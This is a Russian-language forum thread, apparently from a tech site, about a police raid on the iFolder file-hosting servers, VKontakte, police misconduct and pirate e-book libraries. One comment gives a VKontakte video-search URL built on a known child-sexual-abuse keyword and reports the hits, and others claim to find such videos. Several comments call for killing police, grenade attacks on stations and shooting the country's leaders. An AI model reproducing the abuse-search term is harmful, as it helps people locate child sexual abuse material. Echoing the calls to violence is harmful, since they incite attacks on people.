Я зарегистрирован «вконтакте» с 2007 года где-то, и меня никак не донимает так называемая школота, ни дурочки с «привет, познакомимся» — наверное потому, что в «друзьях» у меня только мои реальные знакомые и друзья, чужим доступ к странице полностью ограничен. С некоторыми переписываюсь, с не которыми нет, зато с радостью пользуюсь сервисом аудиозаписей, а также в качестве «записной книжки» для любимых видео, цитат и фотографий. Еще есть довольно полезные онлайн приложения, и самое удобное — все это собрано в одном месте, и сделано качественно.

Много применений — и если лично вы не видите их, то это не значит что их нет, и нужно хаять сайт, к которому у вас предвзятое отношение.
motomac
>дурочки с «привет, познакомимся»
это самое лучшее что там есть. так то.
M_org
Спасибо, у меня девушка есть, да и не верю я в онлайн знакомства.
saratovdae
ох, а зря ))
M_org
А что ж там такого-то? =)
ilyaProphet
И много оказалось обиженных этой девочкой?
M_org
Грабить корованы?
Kassab
Не нравится — не пользуйтесь. До других-то вам какое дело?
Fi1osof
Никакого, пока не начинается истерия вида:
«Ой, а ты видела, вчера вконтакте Стас и Настя помолвились!
Неужелииии, они же друг друга терпеть не могут»

=)
nsamoylov
Скорее вконтакте закроет милицию :)
Spectre
Вконтакте закроет доступ для милиции, милиция обидется и закроет дата-центры вконтакта. Думаю, vk.com не спростали сделали…
Kawamura
у вконтакте 50% российского трафика было в начале 2009. сейчас может и больше. там такие бабки… на любые взятки хватит.
ZVaness
Rapidshare, и тогда все поймут что такое настоящий кризис, а % мертвых ссылок будет выше чем живых =) всех загонят в торренты, а потом в торрентах уже будет проще искать аплодеров.
tnz
Обычно на Рапиде (ком которая) всякая фигня типа фильмов и вареза быстрее прибивается, самый медленный в этом плане как мне показалось (я не распростронитель) Ифолдер как раз.
mokaton
народ.диск медленный, там до 5 гиг и может быть заныкано 33 раза с разными названиями.
vladon
Да там, наверное, половина сотрудников органов сидит, врядли закроют :)
LeeMiller
Скачают — и закроют.
voooz
скорее всего надоело качать, перемещают в свой дата-центр.
Alaunquirie
речь об ифолдер*
Makaveli
да-да! точно. что-то большое плохо качалось… генерал сказал, чтобы прямо вот сейчас у меня на столе лежало…
а самый быстрый способ передать терабайт данных — это передать носитель :)
Novikov
скоро начнут брать взятки премиум аккаунтами, вэб манями, и голосами )))
robots
Видимо находит только тот кто ищет! Мне за 3 года ни разу не попадалось видео с детской порнографией вконтакте! Обычной порнушку сколько угодно, жестокие видео — навалом, пиратские копии видео — хоть обсмотрись!
robots
К вам уже выехали.
rgaliull
Вот, думаю, дай проверю: vk.com/gsearch.php?section=video&q=pthc
Результат: 6 видеозаписей из них 2 недоступны. Много детского порно, ага.
LanG
Уже удалили. Полгода назад там даже по такому гуглимому сочетанию было много видео.
Ещё раньше в группе техподдержки была тема с жалобами на ДП — педобиры умилялись на моралфагов и использовали эту тему как каталог ДП вКонтакте.
Rihtor
А искать пробовали? Я вот только-что нашёл несколько. Только мне неинтересны.
Алсо, детской порнографией можно считать порно с участием любых несовершеннолетних, то есть >18 лет. А такого порно – навалом.
garbager
16 лет
M_org
Ну ну, там этого дела миллионы, либо я такой везучий либо я хороший специалист по поиску информации
Ссылки по понятным причина постить не буду
TheMengzor
это ФСБ борется с конкурентами.
Chamie
забавно то, что Агава участвует в консультационном совете фонда «Дружественный рунет» направленного на борьбу с детской порнографией. Т.е. натурально так сказать стоит у «истоков борьбы», а также имеет ряд благодарственных бумаг/грамот за «сотрудничество с органами».

но и это не спасло от идиотизма.
Grawl
Кстати, а друзья Женя и Слава не хотят проявить инициативу и устроить шум-бум?
rgaliull
да какая разница что искали. что бы это ни было, пусть даже очень ужасное — как можно остановить целый сервис ради своих дурацких поисков если администрация сервиса готова оказать содействие и выдать тебе нужную инфу?

это можно объяснить только попыткой вымогания денег. Они типа имеют право остановить сервис, но наверняка готовы и «договориться». Случаи такие известны уже давно — также уже было с хостинг-провайдерами.
rianon
Не думаю… скорее с ними уже «договорились» те самые… «кто надо»… И дали — «что нужно»
user3000
Ребята вообще аху… и они че думают что это как на рынок пришел мзду получил и вопрос закрыт, это подрывает основы свободы в интернете, я уже не говорю о стабильности работы российских хост-компаний. Получается что банальное ГУВД может остановить работу целого дата центра по любому не проверенному поводу будь то даже детская порнография. Ведь в интернете остановка на час ресурса сказывается приличным финансовым ущербом, а что говорить о днях. А с нашими органами «пару суток» просто невозможно как минимум недели, тем более что занимаются этим делом даже не К-ашники.

Stronzo
Свобода? хе-хе…
А вы слышали слово «диктатура»?
Не забывайте, батенька, в какой стране мы живём ;-)
schors
За этот пост вас и вашу семью расстреляют.

sarcasm
Stronzo
Да уж, вот карма за ночь ушла ниже плинтуса за один пост, последний пост мой))
anonimouse
Вы и Россию «рашкой» называете?

Автор наверное хотел сказать, что «режим» России не многим отличается от тоталиризма. У нас как здание на реконструкции в центре города — спереди весит тряпочка с яркой рекламой — якобы демократией — зато под тряпкой полуразваленное, отстраивающееся почти заново здание страны тоталитарной.

Но тряпочка — всего лишь прикрытие ;)
svoma
ничего, найдётся и на медвепута девять грамм свинца
efoxxi
серебра
moooV
Может. А чо, просто там настолько безграмотные люди работают, что додуматься сразу не могли, ведь какие тут новые просторы открывают!

Отделение милиции.
— Слых, Петь, чей-то мой любимый сайт не открывается ya.ru?
— Так мы ж их сервера вчера опечатали!
svoma
И дали — «что нужно» — может мало дали? у народа может аппетит разыгрался во время…
shamaner
ну тут два варианта — либо вымогание денег,
либо указка сверху
M_org
Третьего не дано? :)
deex
«либо это ключ от номера карбабоса, либо одно из двух!»(с)
garlic
да, исполнительность умноженная на неграмотность дает зачастую просто поразительные результаты
iz0
а что за упаковщик? для того чтобы в облаке размещать приложения?
shamaner
ну что же, добро пожаловать в «легальный» мир, который нам будут насаждать огнем и мечём.
binom248
хм… чё твориться то....?
Svarog
кажется, они все-таки узнали про интернет :(
darkside
да не, просто кризис. Органам нужны дополнительные источники доходов :)
Gesper
продавать найденное на дисках? оО
rgaliull
В начале прочел «Органам нужны дополнительные исходники доходов». Задумался.
mikes
не только нужны источники дохода но и экономия полученных доходов- скачивать быстрее со своего дата центра.
glazik
ждем новость «Сотрудниками УВД был открыт ресурс напоминающий ifolder. Молодцы! Так держать!»
threesixzero
Они открыли для себя новый способ монетизации.
Napolsky
Когда-то давно Инфосторе так же сделали, только вот до сих пор оборудование не вернули
threesixzero
ещё не всё просмотрели.
Sketch_Turner
Да ужас, как там можно ВСЁ посмотреть?
shamaner
я бы сказал больше — ещё не всё записали на диски :)
Kastrulya
Надеюсь не на флопы инфу сбрасывают. А то аппаратура у них старая…
AmoN
При наличии постановление на обыск и с причиной изъятия улик нынче можно делать все, останавливать домены, изымать сервера.
Системный администратор думал, что в сети он бог, Электрик с легкостью разрушил этот миф.
Вот и мы думаем, что у всех есть права, но нам с легкостью развеивают этот миф.
usja
Чего же они мелочатся-то? Пошли бы для начала сервера Яндекса изъяли. Заодно и НИИ понадобился для того, чтоб разобраться, что ж там понасохранено — есть чего пилить…
Dreammaker
Что там думать, они прочитают одним глазом о принципах контекстной рекламы и предъявят шпионаж в особо крупных размерах…
Ryav
зачем же пилить? нужно забрать а потом продать им же забранное. честный бизнес же на высоком гос уровне.
usja
Ну, так госрейдеры и работают.
angel_hearted
Выход один: все сервера покупать в Америке, дома сидеть на дешевых нетбуках и хранить все свои документы в тех же американских облаках. Им тогда останется только одно: начать сажать сисадминов. Вот тогда им наступят кранты.
AmoN
Да здравствует криптоанархия!
danmiru
Приехали.
Kolegg
Боюсь, это только полустанок.
shamaner
Будем надеяться, что непосредственно администрация проекта iFolder не пострадает. Иначе можно начинать паниковать по плану.
M_org
превед ментовской беспредел — открою тайну, на улице вас может отмудохать любой мент, хоть ППСник, а вы ничего потом ему не сделаете (если сами не мент или папы мента нету), а то еще и загремите в СИЗО надолго и будите радоваться. отдав несколько сотен тысяч деревянных, что вообще не сели.
вот так вот.

пс. ситуация была реальная с моими друзьями.
ruguevara
А Нургалиев же…
ruguevara
Нургалиев разрешил, но не говорил ничего о последствиях…
eudj1n
ах-ха-ха, вы бы слышали, как ДПСники о Нургалиеве отзываются.
остановили в 2 часа ночи за несоблюдение знака «Стоп», за который штраф 100р, пытались отнять права. Естественно мы отбились, на посту ДПС киваем на портрет Нургалиева:
— Написать бы про вас начальству вашему.
— Ха, пишите. Он татарин — все равно по-русски читать не умеет.

Эх, разруха не в клозетах, а в головах…
DEHiCKA
Мин татарча белэм, кирэк булса — языгых, рус hэм инглиш теленнэн татарчага тэржимэ итэргэ булышам.
HighOctane
Ну это вы преувеличиваете, вон у нас в Челябинске в конце февраля ДПС-сник помешал жену отвести в больницу (постродовое кровотечение), сейчас возбуждено против него дело, причем по коллеге этого ДПС-сника тоже может быть возбуждено дело, если он не пойдет как свидетель избиения.
sha1dy
ничё, попали ребятки, мужик молодец — всё что мог пробил, и в суд, и на тв.

«Здесь плюют все сверху на – твои права
Здесь прижмут средь бела дня — твои права
Но никто не отменял — твои права
Если ты за них стоял» (с)
gvsmirnov
Никто никуда не попал. Вот один небольшой пример:

В мае 2009 года сотрудник милиции Роман Жиров, находящийся за рулем автомобиля, выехал на встречную полосу движения по улице Ясеневой и сбил Елену Шумм, которая переходила дорогу. Женщина находилась на седьмом месяце беременности. После ЧП милиционер скрылся с места происшествия, не оказав помощи пострадавшей. В результате Елена Шумм скончалась в больнице.

Нагуглите сами, какое наказание он получил?
serbod
Выговор?
WetPrincess
Пока никакого, но вроде как дело движется.
zona7o
Ага, спасибо Саше Растичу за любезно предоставленные строчки из песни.
Aneto
Пойдет. У меня друзья суд выйграли против ДПС. Мировой точно проиграют. Там одни бывшие милиционеры сидят. А вот суды выше инстанций в полне. Главное помните, что вы можете записывать на диктофон заседание суда, не уведомляя судью.

Так выиграли. ДПСник на двух судах (разных инстанций) давал разные показания. На третьем суде уже выше инстанции. Судья не хотел принимать эти записи, на что ему сказали, что тогда он пишет бумагу, что отказывается и пойдут в суд выше. Через 10 минут, судья вынес решение в пользу друзей, а не ДПС. видимо своя шкура дороже.

darkside
ой, извините за опечатки.
iz0
еще важно замечание. Суд должен быть открытым. На закрытых запись можно вести с разрешения судьи.
Alaunquirie
Так «резонанс»-эффект же.
Synergyx
Фраза «наша милиция — нас бережет» все больше понимается по смыслу, как «наша милиция бережет нас, от всего хорошего». Из-за этого дебила ДПС-ника мог человек погибнуть, а прокуратура как всегда. Интересно, не проверенным это снятые побои в тот же день, а не обоснованные — это 3 свидетеля?
Vazio
У этой фразы продолжение есть:
«Наша милиция нас бережет,
сначала посадит, потом стережет»
:)
Vazio
На самом деле на моей памяти был только один случай в нашем городе (Челябинске) когда мент-беспредельщик получил наказание по заслугам.
Возле вокзала был инцидент — пьяный мент докопался до прохожего мужчины, возникла ссора и в качестве последнего аргумента пьяного урода выступил травматический пистолет «Оса». Пострадавший получил четыре огнестрельных ранения в упор, три из них в правое легкое. Он оказался полковником УФСБ из другой области( не помню какой, давно все это было) приехавшим в наш город по работе, в командировку. Менту вменили кучу статей и посадили надолго. Поэтому я не уверен что эта ситуация с ДПС'никами разрешится в пользу пострадавшего.
Vazio
Не посадят.
dust
максимум условно: www.gazeta.ru/news/lastnews/2010/03/17/n_1471131.shtml

а если дать мену в морду посадят по полной — вон, застрелили мента — так сразу грозят пожизненным. когда мент убивает — максимум по «хулиганке с тяжкими».
willson
«Перед законом все равны» (просто некоторые «ровнее»)
Aneto
Надеюсь ментов будут почаще гасить.
В принципе, даже если хороших, невинных (кто-то в это верит?), может другим неповадно будет?
Хотя нет, тут наверное, только массовый расстрел поможет.
Dolios
они, кстате, тут резко осознали, что вообще то могут и погибать при исполнении, а от этого осознания, что помимо обладания Х5, М6 и другими «служебными машинами», записанных на тещю, еще сдохнуть можно — вон какой шум подняли, вся мусарня Москвы на ушах и ППСники в количестве минимум 4 рыл с автоматами передвигались.
RedSkinS
Не, ну по-моему уже пора устраивать теракты и закидывать ментовские отделения тухлыми яйцами/говном/ослиной мочой/гранатами — на выбор.
akzhan
А, ну тогда терроризм по отношения к нам ведется постоянный, а я призываю к хулиганству, от мелкого до крупного.
sha1dy
простите, это да же по зомбоящику показали — поэтому и действуют. К сожалению, никому мои друзья не были интересны и всем насрать (от прокуратуры до СБ).
Vladson
Вон там рассказывается аналогичная история.
iz0
кстате, так и было — они были пьяные в гражданке, начали бить, когда им дали отпор, ихнеи товарищи нарисовали, что они были в форме и при приисполнении. у нас же если мент тебя убивает табельным оружием в форме — то он не приисполнении и оружие не его, а если ты мудохаешь пьяное быдло — то при нем.
sha1dy
Нургалиев негодуе :-)
iz0
а зачем он нужен? в иране вот ннет инетернета, и ничего, люди живут)
iz0
www.iran.ir
а это что такое?
sha1dy
это сайт :D
Mithgol
шел сюда написать тоже самое))
sha1dy
Капитан, где вы были так долго?)))
TonyClifton
я спал
ksider
недавно общался с одним иранцем, он играл в наши отечественные танки-онлайн и рисовал флеш-баннеры.
судя по всему, интернет у них таки есть.
PingMe
В Иране все есть. Там живут двойной жизнью, на улице, на работе ты законопослушный мусульманин, а вот дома… вечеринки, интернет, фильмы не совсем разрешенные почти ничем не отличимые от запада. В общем такое двуличие там в порядке вещей, в основном это касается конечно молодежи.
kabachok
планируют дружить Китаем =)
ksider
>В России таки решили закрыть интернет.

Не интернет, а сервера и домены. Как бы урок дают, чтоб не вздумали покупать отечественное.
moooV
П*здец какой-то…
kabachok
Такое простое слово, а вы без опечатки написать его не можете…
Stalker_RED
А мне сегодня главбух с пеной у рта доказывала что наша милиция культурная и на такие поступки не гожа, после того как я ее заставил перечитать азы поведения при обыске и изятии железа =)
otaqsun
на самом деле я через пол часа обзора хабра на эту тематику понял что бухам ничего не доказать. решил не спорить. Культурная так культурная, а Питерская вообще дважды культурная.
LeeMiller
Таки да =) каждый день в метро наблюдаю ребят вжатых в стену и пересчитывающие «кровные» а рядом вежливые улыбчивые лица милиционеров.
atomicxp
В питере, в частности московский вокзал со стороны Лиговского пр, и м. Московская
Staser
Эх пятерочка, ай да матушка :)
На литейном отдел тоже дай боже (27-й штоле)
chetzof
да нет, достаточно много русских, поэтому и задевает, а на равшанов я особо не обращаю внимания, за исключением легальных гонок на маршрутках =)
LeeMiller
А я как-то поднимался пешком по эскалатору на Маяковской, а перед этим забыл дома застегнуть, пардон, ширинку. Так меня наверху остановили, отвели в отделение и пытались впарить, что я там внизу, простите, ссал на станции %)
И даже «Камера тебя видела!»
Дурдом.
LeeMiller
хорошо что ссал, могли бы впарить ананизм на публике =)
LeeMiller
ха. Я на Владимирской перед новым годом отдал 50 рублей «дядям на лимонадик». И то потому так мало, что у меня больше не было и все документы в порядке были.
akzhan
Да, в метро часто бывают, то ли документы проверяют, то ли еще что, неприятно мимо проходить.
LeeMiller
Есть такое, причем давно, пока студентом был сам отстегивал неоднократно за просроченную регистрацию.
adnull
ага, только простых постовых не должна интересовать ваша регистрация, этими вещами занимаются сотрудники фмс, а их я видел всего пару раз.
LeeMiller
«Обойти мента, встать на эскалатор
I’m tha Moskau Gastarbaita» ©
Chamie
«Чтобы не стать вором рабом проститутком солдатом
I’m tha Moskau Gastarbaita»
LeeMiller
«Если видишь ты,
Стоит рядом мент,
Ну а ты забыл дома документ,
Убегай скорей — не теряй момент,
Для него ты самый лучший клиент»© не помню что за песня))
CriggerMarg
Я так понял вы взяли буха без опыта работы :)
egorinsk
На прошлом месте работе бухгактеры у нас были дрессированные, все базы и документы на флешках, во время рабочего дня флешки на шее, обязательно пластмассовый корпус, чтобы можно было расколотить каблуком. И они с большим пониманием относились к подобным мерам, так как понимали, что на шее у них болтается срок на 3-5 лет минимум, скорее всего даже не условный.
Neanderthal
Хорошая работа, наверно, где на бухгалтеров переваливают уголовную ответственность.
lasthero
Главный бухгалтер любой конторы всегда несет уголовную ответственность вместе с директором.
estum
Но ведь бухгалтер должен иметь представление о законах и не подписывать сомнительные бумаги?
estum
А еще он имеет право в любой момент написать заявление на увольнение по собственному желанию и пойти работать дворником :)
RedSkinS
Конечно, брать на себя ответственность за сомнительные сделки (директор то всегда свалить успеет) — лучшее решение!
mrjj
Вот я и говорю, раз не можешь работать с одним директором, не сможешь ни с одним другим — у нас же ни одна фирма не работает по-белому! Поэтому нефиг на бухгалтера учиться было, сразу идти в дворники и ладно.
mrjj
угу. и программное обеспечение у вас сплошь лицензионное.
egorinsk
Не факт. При дележке собственности директора пристрелят и отправят в плаванье по Неве. Бухгалтера хотя бы посадят… Вообще же у нас такие славные законы, что работать, не нарушая вообще ничего — нереально в принципе.
cvetic
Тогда такой бухгалтер не нужен, особенно в строительной компании.
egorinsk
А вы и тренировки проводите ежемесячные, где бухи учатся разламывать флешки каблуком? Ибо без постоянных тренировок навыки теряются. Вы уверены, что бух в час Х, при всем желании среагирует сорвать флешку с шеи, кинуть на пол и попасть в нее каблуком? Если бух мужчина, то не факт, что он резиновым каблуком сломает флешку, а если женщина, то не факт, что тонкой шпилькой она попадет во флешку.
cvetic
зачем каблуком? а зубами?
egorinsk
А вы пробовали?

Я как-то тренировался на кошках — одной рукой ломал компакт-диски. Так вот не каждый диск можно было мгновенно сломать с первой попытки. Часто даже диск выскальзывал из потной ладошки. :) Причем ломкость дисков зависит от производителя. Кажется Мирекс (но не уверен) просто гнулся пополам, но не лопался на множество осколков.

Это я к чему, я не уверен, что без подготовки можно любую флешку разломать зубами. Если уж действительна нужна безопасность, лучше купить 3-4 одинаковые флешки и потренироваться на них каблуками и зубами. :)
cvetic
ну тогда уж проще всего иметь баночку с азотной кислотой. кинул туда флэшку и смотришь на бурболки.
egorinsk
Ну это просто фактор выбора между металлическим корпусом и пластиковым, если бы это была реальная «линия обороны» они бы как миленькие в 10 утра строились и демонстрировали навык разбивания флешек на время :)
JustLuckyGuy
В Питере бухгалтер — это не профессия, даже не диагноз, а сексуальная ориентация. За последние пять лет сменил с десяток бухгалтеров. Один «краше» другого.
logan
Интернет в России для власти как заноза в одном месте. Каналы контролируются, пресса тоже. СМИ все почти под колпаком. А интернет это просто беда какая-то. Как что случится так весь интернет знает раньше чем первый канал. Фильтровать невозможно. Правители наши в приятных снах видят как интернет будет по карточками, паспортам и каждый год сдавать отчетность. Что скачал, куда ходил, что смотрел.
mrjj
Сдал никнейм нарушителя – получил палку колбасы.
consalt
ну уникальных никнеймов жалкие проценты, так что тема не выгорит, а вот за айпишник очень даже.
shamaner
План перевыполним, статистику подтянем и во все СМИ отрапортуем о наших успехах.
consalt
Я бы даже сказал, что интернет — это порнография какая-то!
shamaner
«На проходившем 22 января заседании Госсовета, лидер «Единой России» Владимир Путин заявил, что половина контента сети Интернет – это порно.»
baikal24.ru/page.php?action=showItem&type=article&id=8728
mrjj
Менты не смогут определить самостоятельно какая, именно половина содержит порно и изымут все.
ilawyer
А как же CP-детекторы?!
ferim_foli
не ясно только чему он расстраивается: аж половина или всего половина…

LOL:
Как на это отреагировал заядлый блоггер Дмитрий Медведев – неизвестно. Хотя есть ощущение, что его стараниями вторая половина интернета превратится в живые журналы чиновников. (там же. baikal24.ru/page.php?action=showItem&type=article&id=8728)
lasthero
а первая будет читать эти журналы.
LeeMiller
Что скачал, куда ходил, что смотрел. — уже реализовано. у нас в беларашке с этого году официально инет по пашпарту и контролем типа переписки. Так что вы опоздали. беларашка как всегда впереди. ида ассаламу алейкум из Оман.
lasthero
чо?
obscuro
150% ваша правда! пусть даже если не в этом контексте, но на самом деле так. Китай вон интернет внутри Интернета. И Россия судя по всему туда же движется…
DVF
echo.msk.ru/blog/pagemakeroff/664198-echo/

Нечто иное – Россия, дуумвират. Власть старается подавить малейший намек на то, что можно назвать «митингом протеста», нагло подкручивает итоги выборов… Но и этого мало: протест уже гасится в сети Интернет. Вот, одна инициативная группа опубликовала там обращение «Путин должен уйти» – название и текст довольно безобидные, хоть по европейским, хоть по грузинским меркам. Да и сколько у нас активных пользователей Интернета? И что, в ближайшее время под этим подпишется 14 миллионов человек, которые как раз и есть те самые 10 %? Ну, не смешите мои тапочки! У нас в социальной сети vkontakte.ru после вычета иностранцев и «виртуалов» едва ли столько наберется!

Но страшно-то как! И вот, власть начинает использовать свои рычаги для того, чтобы под обращением не подписались даже те «жалкие» сотни тысяч и миллионы граждан. И, что интересно, те, кто рулит в Интернете, явно ведутся на эту подковерную игру. Я, например, не смог получить подтверждение своей подписи по адресам, зарегистрированным на MAIL.RU, NEWMAIL.RU (POCHTA.RU), RAMBLER.RU и об этом написал в своем «Живом журнале».
ruguevara
Жаль только что весь интернет знает, но при этом ничего не происходит. Побурлит субстанция и засохнет. И как бы и не было ничего. У нашей власти уже такая степень пофигизма, что никакая огласка не страшна.
mrjj
В результате переговоров вывоз оборудования удалось предотвратить

Ключевая фраза. Если бы там было действительно что вывозить за нарущения милиционеры бы вывезли хоть с омоном, хоть с собаками, взяли бы штурмом, но вывезли. Раз оставили не более чем запугивание и забота об авторских правах тут уже не причем.
Fi1osof
ключевая фраза намекающая о предварительном ублажении берущих. интересно сколько дали.
shamaner
А за примером далеко ходить не надо не давно у одной фирмы за возврат компьютерного оборудования просили 200к.$ Пруф bit.ly/cCMnPf
shamaner
rufolder.org? :)
arilou_camper
Тут похлеще проблема: раз в дата центр заявились, смысла нету домен менять
Fi1osof
Найдите-ка, в каком ДЦ сервера rutracker.org
Fi1osof
Это разные весовые категории: на трекере хранятся только торренты, а тут нужно все файлы хранить — под это потребуется гораздо больше мощностей — так просто тасовать по миру не получится.
Enmoore
Скажем так — нас плавно к такому подходу подталкивают.
Pechkin1007
Domain ID:D158625054-LROR
Domain Name:RUFOLDER.ORG
Created On:17-Mar-2010 22:22:08 UTC
Last Updated On:17-Mar-2010 22:22:08 UTC
Expiration Date:17-Mar-2011 22:22:08 UTC
Sponsoring Registrar:Internet.bs Corp. (R1601-LROR)
Status:CLIENT TRANSFER PROHIBITED
Status:INACTIVE
Status:TRANSFER PROHIBITED
Status:ADDPERIOD
Registrant ID:INTE4ba1560b267d
Registrant Name:Le Mon Grinua
Registrant Organization:Dreamtorren Corp.
Registrant Street1:Victoria House 306
shamaner
Ли Мон Гриньа оказался(-ась) проворнее нас…
Pechkin1007
Только сначала сервера куда-нибудь на сейшеллы надо отвезти.
loader
сотрудники милиции отказались от любой помощи и попытались вывезти ВСЕ оборудование Агавы
на отличненько
Virusmater
вдвоем, без машины
adnull
Вспоминается фраза в супермаркете (когда наберешь целую тележку) — «Вам пакет нужен?» )
el777
Эта фраза нормальна: некоторые покупатели приносят готовый пакет с собою из дома в кармане.
adnull
Казалось бы безобидный пакет может сгнить только через 1000 лет (это так… для размышления).
deniamnet
Ага. В степях вокруг городов очень хорошо видно из какого супермаркета какой пакет.
deniamnet
Ключевая фраза тут: «на форуме роснефти».
Я все же надеюсь, что это был завуалированный юмор.
Pas
Может уже и на продажу вывесили, надо поискать по базам конфиската.
nooze
Вручную просматривай. Наверняка, там опять подменили русские буквы на цифры и латиницу.
AlexeyK
Вот мне интересно, еще кто то не понял что пора менять хостинг с России на другую страну?
Boomburum
мне пока больше хочется поменять страну проживания… юношеский оптимизм «изменить под себя мир» прошел. я уже понимаю что лучше просто свалить, благо язык есть и куча ITшного опыта, думаю на картошку с хлебом должно хватить.
Mithgol
И меня прихвати. Вместе все веселее.
Tilli
уже писал в подобном топике эту мысль, но повторюсь:

я тоже подумывал что валить надо, потом задумался, а какого хрена? пусть валят эти уроды из правительства, это моя страна.
Neanderthal
а вообще по теме топика:

как же задрали эти пидорасы?
они че реально хотят чтобы страна пришла к революции?
Neanderthal
они, видимо, думают что все им позволено. Будут дальше так думать — доиграются ИМХО. С каждым днем все больше замечаю волнения по поводу действий «вышки»…
DEHiCKA
чуть поостыв возникает другая мысль, не является это частью какого-то «ПЛАНА»?

как первая бредовая мысль:
ну вроде щас беспредел устраиват, скоро выборы, захотят ВВ назад.

С другой стороны какие выборы? все уже предопределено. Тогда что за план? ))
ukko
Нет никакого плана. И волнений никаких нет. Народ же доволен. =(
shifttstas
честно сказать сложно судить уже о плане…
echo.msk.ru/programs/personalno/660960-echo/ (тут серьезный наезд на ВВП). Правда все как обычно — замяли. Никаких официальных разбирательств и т.п.
Только вот к чему этот выпад был?

А с выборами. 99% уверен что ВВП не вернется, во всяком случае не в этот срок.
Stronzo
проблема в том, что революция пока только в инете. многое тут же и остается. в реал ничего не переходит. Так Инет из разряда инструмента для революции (связь же всегда важнее всего) перейдет в разряд ее нейтрализации ( тут же будет гаситься вся энергия. посты, сообщества, игры и т.п. в итоге: победили! виртуально. 5 рейтинга+) (((
shifttstas
вот вы все говорите «они». а ведь почти у каждого из нас есть знакомый или друг из «них».
«они» — такие же люди, как и мы — пытаются выжить в этой стране.
может хватит валить все на кого-то, не пора ли начать мир с себя и своего окружения?
например, выступить по радио, телевидению (теперь можно и в блоге написать. ведь «они» уже знают про интернет) с образовательной программой…
ferim_foli
упс, зря я тут это написал. не по теме. минусуйте коммент.
zaartix
Это их страна. И «эти уроды» сделают с вами что хотят и когда хотят.
zaartix
Чёрт, мне не нравится что совсем недавно я об этом же говорил. Ай-да в Эстонию скопом? Близко, первое время можно говорить по-русски. Вон, piroman прихватим, он тамошний :)
Synergyx
В сомали. Там настоящая thepiratebay
zaartix
Грабить корованы? :)
Darkened
коробели
Fi1osof
новый способ задушить конкурента…
«а у них там есть порнушка...»
приехали дяди и вырубили сервер…
конкуренты ликуют!
6750km
Это как «он шпион» — и нет у тебя больше соседа :)
Fi1osof
А с чего их закрывать, когда они продались и перешли на денежные отношения?
shifaley
Ага, либрусека скурвилась по полной. Но упавший флаг подняла Flibusta.net! ))
shifaley
Это художка, но есть ведь не художка в поддомене.
eosunknown
Ога, там даже трекер есть ;)
schors
Вообще, я про gen.lib.rus.ec говорил и некое расширение тематики free-books.dontexist.com.
adnull
Полные архивы и Либрусека, и Флибусты, и других библиотек раздаются на http://torrent.rus.ec. Причем доступны еще и отдельные обновления, а также отличия Флибусты от Либрусека.
schors
Ой божечки мой, «денежные отношения»! Ужас, продались, изверги окаянные!

У меня отец недавно тоже возмущался, мол, не дают скачать. Я ради интереса попросил его тупо и незатейливо проставить оценки книгам, которые накопились в «прочитанное», а их там было прилично. После этой процедуры появилось «Абонент отработан на 96%». Попросил написать пару отзывов о книгах. «Абонент отработан на 102%». Уже можно жить. После чего впечатленный папа в одной из любимых книг, которые он перечитывал (это кажется была «Особая офицерская группа» Загорского) исправил грамматику и опечатки, на следующий день было написано «Сделано более чем достаточно».

Для того чтобы получить полный доступ на Либрусеке не нужно делать ровно ничего, кроме того чтобы ставить оценки прочитанным книгам. Если после этого особо впечатлившей (или вызвавшей неприятные эмоции) книге написать рецензию, то будет еще лучше (но не намного, рецензия, насколько я понял, подымает 3% по сравнению с 1% за оценку). А уж если книгу залить или поправить, тогда уже можно не беспокоиться ни о чем. Для только что зарегистрировшегося человека выход тоже есть: пройтись по всем Азимовым, Саймакам, Шекли и т.д., проставить оценки прочитанному. Времени будет потрачено меньше часа, зато потом без ограничений. И не забывать проставлять оценки скачанному.

Ситуация очень сильно похожа на любой торрент-трекер с регистрацией. Если только брать, а не давать, будет плохо.

p.s. О существовании флибусты знаю, там я тоже зарегистрирован, одобряю ее как зеркало Либрусека. Но в «продажности» Ларина никакой беды не вижу совершенно.
licvidator
Вы видимо не достаточно часто пользуетесь библиотекой, если так говорите. Некоторые книги, причем не самые новые, просто нельзя скачать, по данной кнопке нас просто редиректят на электронный магазин с ее покупкой.
Kolyancz
Ну, если ежедневно — это «недостаточно часто»…

Кстати, вы можете привести пример подобной книги? Я только что вышел из своего аккаунта и попробовал закачать парочку литресовских книг, мне любезно предложили либо заплатить денюжку за абонемент, либо заработать абонемент честным трудом:
Вы захотели выкачать книгу ограниченного доступаЭто возможно. Существуют следующие варианты:
1. Зарегистрироваться и подписаться на неограниченный доступ на неделю, месяц или год
2. Принести библиотеке существенную пользу

Причем при нажатии на «читать» книга вполне доступна для чтения, знай сохраняй страничку и читай в любимой читалке.

В остальных случаях, «сделано полезного более чем достаточно» хватает для спокойной жизни, под своим аккаунтом я с ограничениями не сталкивался.

p.s. Может вы имели в виду попап, который возникает при наведении на ссылку «купить»? Там действительно, список магазинов и если кликнуть, то будет редирект.
niceteg
Ой! Извините за незакрытые тэги.

Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения. Я буду всегда жать «предпросмотр» перед отправкой сообщения.
Ryav
Может я путаю чего, попробуйте это
AmoN
Да, точно, редирект на аймобилко.

В случае нажатия на «читать» текст открывается для чтения. Т.е. чтобы скачать нужно на ссылке «читать» кликнуть правой кнопкой и выбрать «сохранить как» из меню. fb2, epub и т.д. недоступны, но в любом случае не смертельно.

В аккаунте со «сделано полезного достаточно» — дает нормально скачивать во всех форматах.
grib
Хмм… ну круто, конечно. Но честное слово — я и подумать не мог, что там настолько всё просто и красиво. Вы только что открыли мне глаза, но уже позно, т.к. после того, как я обломался на либрусеке, пришлось найти для себя флибусту. :)
atomicxp
Ну, одно другому не мешает. Время от времени то либрусек, то флибуста лежат, а книжки-то читать хочется :)
grib
Немного не в тему, но… Вы знаете о bookmate.ru?
atomicxp
Теперь знаю :) Будем посмотреть.
Nikolaich
Зачем человека заминусовали, из комментариев узнал про поддомены и нашел там кучу всего, чего долго не мог найти, типа оригинальной манги.
fanex
